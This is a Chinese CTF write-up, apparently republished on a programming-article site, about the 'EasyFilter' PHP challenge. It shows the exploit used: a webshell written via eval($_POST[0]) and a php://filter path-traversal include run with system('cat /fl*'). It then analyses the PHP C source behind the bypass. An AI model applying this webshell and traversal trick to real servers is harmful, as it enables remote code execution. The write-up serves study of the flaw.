第四届强网拟态 EasyFilter

2023-11-03 05:31

本文主要是介绍第四届强网拟态 EasyFilter,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

当时比赛没报名,借了个号上去瞅了一眼题目,看到这个PHP代码审计比较亲切就做了这一题,当时也是通过报错大胆尝试成功试了出来解法。

赛后花爷拿着我的wp去了p神的知识星球问了一下原理,P神给了个解答,但是自己还没有看过PHP的C代码所以很难理解(实际上都一年没有碰过C语言了)。恰好打算把最近的事情忙完就去学学PHP的底层,过了这么些天,昨天弄好了vscode调试PHP的C代码的环境,今天仔细研究了一下终于有点懂了,而且第一次看PHP的底层C,感觉学到了好多的东西。

做题时候写的WP

<?phpini_set("open_basedir","./");if(!isset($_GET['action'])){highlight_file(__FILE__);die();}if($_GET['action'] == 'w'){@mkdir("./files/");$content = $_GET['c'];$file = bin2hex(random_bytes(5));file_put_contents("./files/".$file,base64_encode($content));echo "./files/".$file;}elseif($_GET['action'] == 'r'){$r = $_GET['r'];$file = "./files/".$r;include("php://filter/resource=$file");}

在最后一行代码那里正常包含文件?action=r&r=d0165506bd,发现有这些warning:

在这里插入图片描述

发现这么一行很奇妙的warning:

Warning: include(): unable to locate filter "d0165506bd" in /var/www/html/index.php on line 16

传过去的不是文件名吗,怎么被当成过滤器了???

但是能成功包含出内容,所以这是又被当成过滤器又被当成文件了?那尝试路径穿越写马:

http://124.70.181.14:32766/?action=w&c=<?php eval($_POST[0]);?>http://124.70.181.14:32766/?action=r&r=convert.base64-decode/../d0165506bd0=system('cat /fl*');

成功getshell。

原理分析

至于为什么是这样的,拿vscode调试一下底层的C就知道了。

<?php
include("php://filter/resource=./read=convert.base64-decode/../test.php");

入口点是php-src-PHP-7.2\ext\standard\php_fopen_wrapper.cphp_stream_url_wrap_php()函数,放出关键代码:

php_stream * php_stream_url_wrap_php(php_stream_wrapper *wrapper, const char *path, const char *mode, int options,zend_string **opened_path, php_stream_context *context STREAMS_DC) /* {{{ */
{int fd = -1;int mode_rw = 0;php_stream * stream = NULL;char *p, *token, *pathdup;zend_long max_memory;FILE *file = NULL;
#ifdef PHP_WIN32int pipe_requested = 0;
#endifif (!strncasecmp(path, "php://", 6)) {path += 6;}.......} else if (!strncasecmp(path, "filter/", 7)) {/* Save time/memory when chain isn't specified */if (strchr(mode, 'r') || strchr(mode, '+')) {mode_rw |= PHP_STREAM_FILTER_READ;}if (strchr(mode, 'w') || strchr(mode, '+') || strchr(mode, 'a')) {mode_rw |= PHP_STREAM_FILTER_WRITE;}pathdup = estrndup(path + 6, strlen(path + 6));p = strstr(pathdup, "/resource=");if (!p) {zend_throw_error(NULL, "No URL resource specified");efree(pathdup);return NULL;}                                                               if (!(stream = php_stream_open_wrapper(p + 10, mode, options, opened_path))) {efree(pathdup);return NULL;}*p = '\0';p = php_strtok_r(pathdup + 1, "/", &token);while (p) {if (!strncasecmp(p, "read=", 5)) {php_stream_apply_filter_list(stream, p + 5, 1, 0);} else if (!strncasecmp(p, "write=", 6)) {php_stream_apply_filter_list(stream, p + 6, 0, 1);} else {php_stream_apply_filter_list(stream, p, mode_rw & PHP_STREAM_FILTER_READ, mode_rw & PHP_STREAM_FILTER_WRITE);}p = php_strtok_r(NULL, "/", &token);}efree(pathdup);return stream;} else {/* invalid php://thingy */php_error_docref(NULL, E_WARNING, "Invalid php:// URL specified");return NULL;}/* must be stdin, stderr or stdout */if (fd == -1)	{/* failed to dup */return NULL;}#if defined(S_IFSOCK) && !defined(WIN32) && !defined(__BEOS__)do {zend_stat_t st;memset(&st, 0, sizeof(st));if (zend_fstat(fd, &st) == 0 && (st.st_mode & S_IFMT) == S_IFSOCK) {stream = php_stream_sock_open_from_socket(fd, NULL);if (stream) {stream->ops = &php_stream_socket_ops;return stream;}}} while (0);
#endifif (file) {stream = php_stream_fopen_from_file(file, mode);} else {stream = php_stream_fopen_from_fd(fd, mode, NULL);if (stream == NULL) {close(fd);}}#ifdef PHP_WIN32if (pipe_requested && stream && context) {zval *blocking_pipes = php_stream_context_get_option(context, "pipe", "blocking");if (blocking_pipes) {convert_to_long(blocking_pipes);php_stream_set_option(stream, PHP_STREAM_OPTION_PIPE_BLOCKING, Z_LVAL_P(blocking_pipes), NULL);}}
#endifreturn stream;
}

path0x00000230d1a80218 "php://filter/resource=./read=convert.base64-decode/../test.php",接着就是一些分割了,先判断出来是以php://开头,然后指针向前移动6个单位,path是filter/resource=./read=convert.base64-decode/../test.php

接着又是一堆的判断,进入以filter开头的if,includemoderb,所以接下来默认的mode也是读(也就是为什么如果忽略read,默认也是read流的原因)。

接下来就有几个关键的变量需要注意到了,pathdup,p,token

首先pathdup通过estrndup()创建:

pathdup = estrndup(path + 6, strlen(path + 6));
//estrndup
//分配len+1个字节的内存并且从ptr处复制len个字节到最新分配的块

得到的pathdup为/resource=./read=convert.base64-decode/../test.php,也就是说,pathdup是filter后面的整个字符串。

而p这样得到:

p = strstr(pathdup, "/resource=");

p是pathdup中从/resource=开始的字符串,在这里也是/resource=./read=convert.base64-decode/../test.php

接着这一步不用太具体了解,只需要大致看看代码就可以知道,PHP的底层C语言中,取filter后面的整个字符串中的/resource=后面的那所有的部分,作为输入流的路径:

		if (!(stream = php_stream_open_wrapper(p + 10, mode, options, opened_path))) {efree(pathdup);return NULL;}

也就是说,取的输入流的路径是./read=convert.base64-decode/../test.php

也就为什么可以读到test.php,因为用的相对路径,然后进行了路径穿越,成功穿回了当前路径,得到test.php的流。

接下来的处理就很关键了:

		*p = '\0';p = php_strtok_r(pathdup + 1, "/", &token);while (p) {if (!strncasecmp(p, "read=", 5)) {php_stream_apply_filter_list(stream, p + 5, 1, 0);} else if (!strncasecmp(p, "write=", 6)) {php_stream_apply_filter_list(stream, p + 6, 0, 1);} else {php_stream_apply_filter_list(stream, p, mode_rw & PHP_STREAM_FILTER_READ, mode_rw & PHP_STREAM_FILTER_WRITE);}p = php_strtok_r(NULL, "/", &token);}

注意到是*p,也就是让p指针指向的位置为\0,因为C语言中字符串都是以\0结尾的。

问题就是出在这一步上,之所以会有这一步,需要联想一下正常的处理:

include("php://filter/convert.base64-decode/resource=test.php");

都是先过滤器,/resource=写在最后面。正常的时候,pathdup应该是/convert.base64-decode/resource=test.php,而p应该是/resource=test.php,这时候让p为\0,相当于pathdup变成了/convert.base64-decode\0resource=test.php,这样pathdup就被截断了,字符串变成了/convert.base64-decode,这样接下来就是对过滤器进行处理了,不再碰到/resource=test.php

(因为之前用的是p = strstr(pathdup, "/resource=");,所以p的指针是在pathdup指向的指针的后面的/resource=的那个位置的指针)

而在目前我们分析的这个不正常的情况中,pathdup和p都是/resource=./read=convert.base64-decode/../test.php,这样处理之后导致pathdup和p都是空字符串,而pathdup后面的部分并没有被分割。

然后就是这一步:

p = php_strtok_r(pathdup + 1, "/", &token);

注意到是pathdup+1,也就是resource=./read=convert.base64-decode/../test.php,所以*p = '\0';

这一步的处理没有起到作用。

php_strtok_r()函数的作用我理解起来就是,用第二个参数对第一个参数这个字符串进行分割,返回结果是分割后的第一部分,token得到的是分割后剩下部分。

比如231/123213/123123/1312,经过一次php_strtok_r,返回值为231token123213/123123/1312。如果第一个参数为Null的话则对第三个参数进行处理。

所以这里的p是resource=.,token是read=convert.base64-decode/../test.php

然后进入while循环,以此以/作为分隔符来得到过滤器,如果得到的p以read=或者write=开头,那就取=之后的那部分作为过滤器然后让这个过滤器处理的mode为r或者w。如果没有的话,则用默认的mode。

跟进php_stream_apply_filter_list()稍微看一下:

static void php_stream_apply_filter_list(php_stream *stream, char *filterlist, int read_chain, int write_chain) /* {{{ */
{char *p, *token = NULL;php_stream_filter *temp_filter;p = php_strtok_r(filterlist, "|", &token);while (p) {php_url_decode(p, strlen(p));if (read_chain) {if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {php_stream_filter_append(&stream->readfilters, temp_filter);} else {php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);}}if (write_chain) {if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {php_stream_filter_append(&stream->writefilters, temp_filter);} else {php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);}}p = php_strtok_r(NULL, "|", &token);}
}

传入的p就是filterlist了。首先是p = php_strtok_r(filterlist, "|", &token);,对过滤器拿|进行分割,处理方式同/分割一样,这也就是|分割各种过滤器的来源。

然后这么一步:

php_url_decode(p, strlen(p));

进行url解码,也就是wmctf2020当时的一个考点了,来源就在这里。

之后就是判断读还是写,进入对应的if,通过p来创建相应的过滤器,然后把过滤器添加到stream->readfilters中。

php_stream_filter_create创建的过程中还会去定位过滤器,如果找不到就抛出unalbe locate的warning。创建失败还会抛出unalbe create的warning。

这样整个流程分析过来也就差不多了,接下来说白了就是对resource=./read=convert.base64-decode/../test.php,一次拿/作为分割然后作为过滤器进行处理,依次是:

resource=.
read=convert.base64-decode
..
test.php

所以会抛出这些warning:

Warning: include(): unable to locate filter "resource=." in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2Warning: include(): Unable to create filter (resource=.) in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2Warning: include(): unable to locate filter ".." in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2Warning: include(): Unable to create filter (..) in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2Warning: include(): unable to locate filter "test.php" in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2Warning: include(): Unable to create filter (test.php) in D:\environment\php-src-PHP-7.2\x64\Debug_TS\index.php on line 2

之后就是返回这个stream,然后对这个流拿得到的过滤器进行处理了。至此整个流程就理清了。原来是这样!

总结

第一次调试PHP的底层C代码,学习到了很多的东西!

这篇关于第四届强网拟态 EasyFilter的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/335917

相关文章

Enlight官方第四届“金融帝国杯”玩家游戏视频邀请赛〔参赛玩家作品展播〕(一)(持续更新中)

Enlight官方第四届“金融帝国杯”玩家游戏视频邀请赛 〔参赛玩家作品展播〕(一)(持续更新中) ————————————— Ⅰ〖比赛时间〗 ◇ 报名参赛(视频发布)时间:2024年06月10日~12月09日 ◇ 比赛颁奖时间:2024年12月底前(届时将在官方①、②、③群同步举行) ◇ 获奖名单刊登:3DM论坛(金融帝国2专区)、百度贴吧(金融帝国2吧) —————————————

【JPCS独立出版】第四届电气工程与计算机技术国际学术会议(ICEECT 2024,9月27-29)

第四届电气工程与计算机技术国际学术会议(ICEECT2024)将于9月27日-29日在哈尔滨举办。 会议主要围绕"电路与系统"、“电气工程材料”、“计算机视觉”、“计算机技术”等专业研究领域展开讨论。旨在为气工程、计算机技术等领域的专家学者及企业发展人提供一个分享研究成果、讨论存在的问题与挑战、探索前沿科技的国际性合作交流平台。大会诚邀国内外高校、科研机构专家、学者,企业界人士及其他相关人员

【IEEE独立出版 | 往届快至会后2个月检索】2024年第四届电子信息工程与计算机科学国际会议(EIECS 2024,9月27-29)

2024年第四届电子信息工程与计算机科学国际会议(EIECS 2024)将于2024年9月27日至29日在中国延吉举行。会议由长春理工大学主办,延边大学、长春理工大学电子信息工程学院、长春理工大学计算机学院、长春理工大学人工智能学院承办,多所高校共同协办。 此次会议将聚焦电子信息工程与计算机科学的国际研究和关键应用领域,围绕智能社会创新发展的主题,开展高水平的学术交流和最新成果展示,搭建国际

微派第四届企业微信营销培训成功举行

11月14日电通东派成功举办了第四期微派营销《企业微信营销实战演练》培训会,来自数字营销事业部的@李粹文 总经理以自己十几年的营销从业经验分享了关于微信营销的独到见解,并依靠强大的技术团队现场向来宾演示微信营销“新玩法”,现场反响热烈,许多企业主都表示“叹为观止”! 培训会最后,现场还举行了“微派微营销智能服务平台”最新版本V3.0的产品发布会;现场的企业主和嘉宾获邀在现场进行

太极股份PMO李雅青受邀为第四届中国项目经理大会演讲嘉宾

全国项目经理专业人士年度盛会 太极计算机股份有限公司国防与公共安全集团BG PMO李雅青女士受邀为PMO评论主办的全国项目经理专业人士年度盛会——2024第四届中国项目经理大会演讲嘉宾,演讲议题为“转型PMO,项目经理的两次转身与拾阶而上”。大会将于10月26-27日在北京举办,主题为:“站上项目之巅”,将特邀知名企业优秀PMO、项目经理来和大家交流企业项目经理人才培养体系建设,讲述站上

神州数码解决方案中心总经理韩秋泉受邀为第四届中国项目经理大会演讲嘉宾

全国项目经理专业人士年度盛会 上海神州数码信息技术服务有限公司解决方案中心总经理韩秋泉先生受邀为PMO评论主办的全国项目经理专业人士年度盛会——2024第四届中国项目经理大会演讲嘉宾,演讲议题为“AI时代项目经理能力模型优化”。大会将于10月26-27日在北京举办,主题为:“站上项目之巅”,将特邀知名企业优秀PMO、项目经理来和大家交流企业项目经理人才培养体系建设,讲述站上项目之巅一路打

【EI检索稳定】2024年第四届数字化社会与智能系统国际学术会议(DSInS 2024)

由悉尼科技大学和西南交通大学联合主办,四川大学、中南大学社会计算研究中心、西南财经大学、武汉理工大学协办的2024年第四届数字化社会与智能系统国际学术会议将于2024年11月22-24日在中国郑州举行。会议主题主要聚焦智能系统在数字化社会中的相关技术和应用发展。随着数字化概念的兴起,社会对各种智能技术的需求也在日益增长。面对社会管理和决策的种种困难,智能系统对于解决数字化社会方方面面的问题至关重要

【会议征稿,CPS出版】第四届管理科学和软件工程国际学术会议(ICMSSE 2024,7月19-21)

第四届管理科学和软件工程国际学术会议(ICMSSE 2024)由ACM珠海分会,广州番禺职业技术学院主办;全国区块链行业产教融合共同体,AEIC学术交流中心承办,将于2024年7月19-21日于广州召开。 会议旨在为从事管理与软件工程领域的专家学者、工程技术人员、技术研发人员提供一个共享科研成果和前沿技术,了解学术发展趋势,拓宽研究思路,加强学术研究和探讨,促进学术成果产业化合作的平台。大

第四届人工智能、机器人和通信国际会议(ICAIRC 2024)

第四届人工智能、机器人和通信国际会议(ICAIRC 2024) 2024 4th International Conference on Artificial Intelligence, Robotics, and Communication  2024年12月27-29日 | 中国厦门 重要信息 会议官网:www.icairc.net 录用通知时间:投稿后1周左右 会议检索

第四届拍拍贷魔镜杯冠军方案分享

浏览更多内容,可访问:http://www.growai.cn 1.介绍 ​ 队员:@回头是岸,@林萧, @观想,作者:@一休 2. 赛题背景 资金流动性管理迄今仍是金融领域的经典问题。在互联网金融信贷业务中,单个资产标的金额小且复杂多样,对于拥有大量出借资金的金融机构或散户而言,资金管理压力巨大,精准地预测出借资金的流动情况变得尤为重要。本次比赛以互联网金融信贷业务为背景,以《现金流预测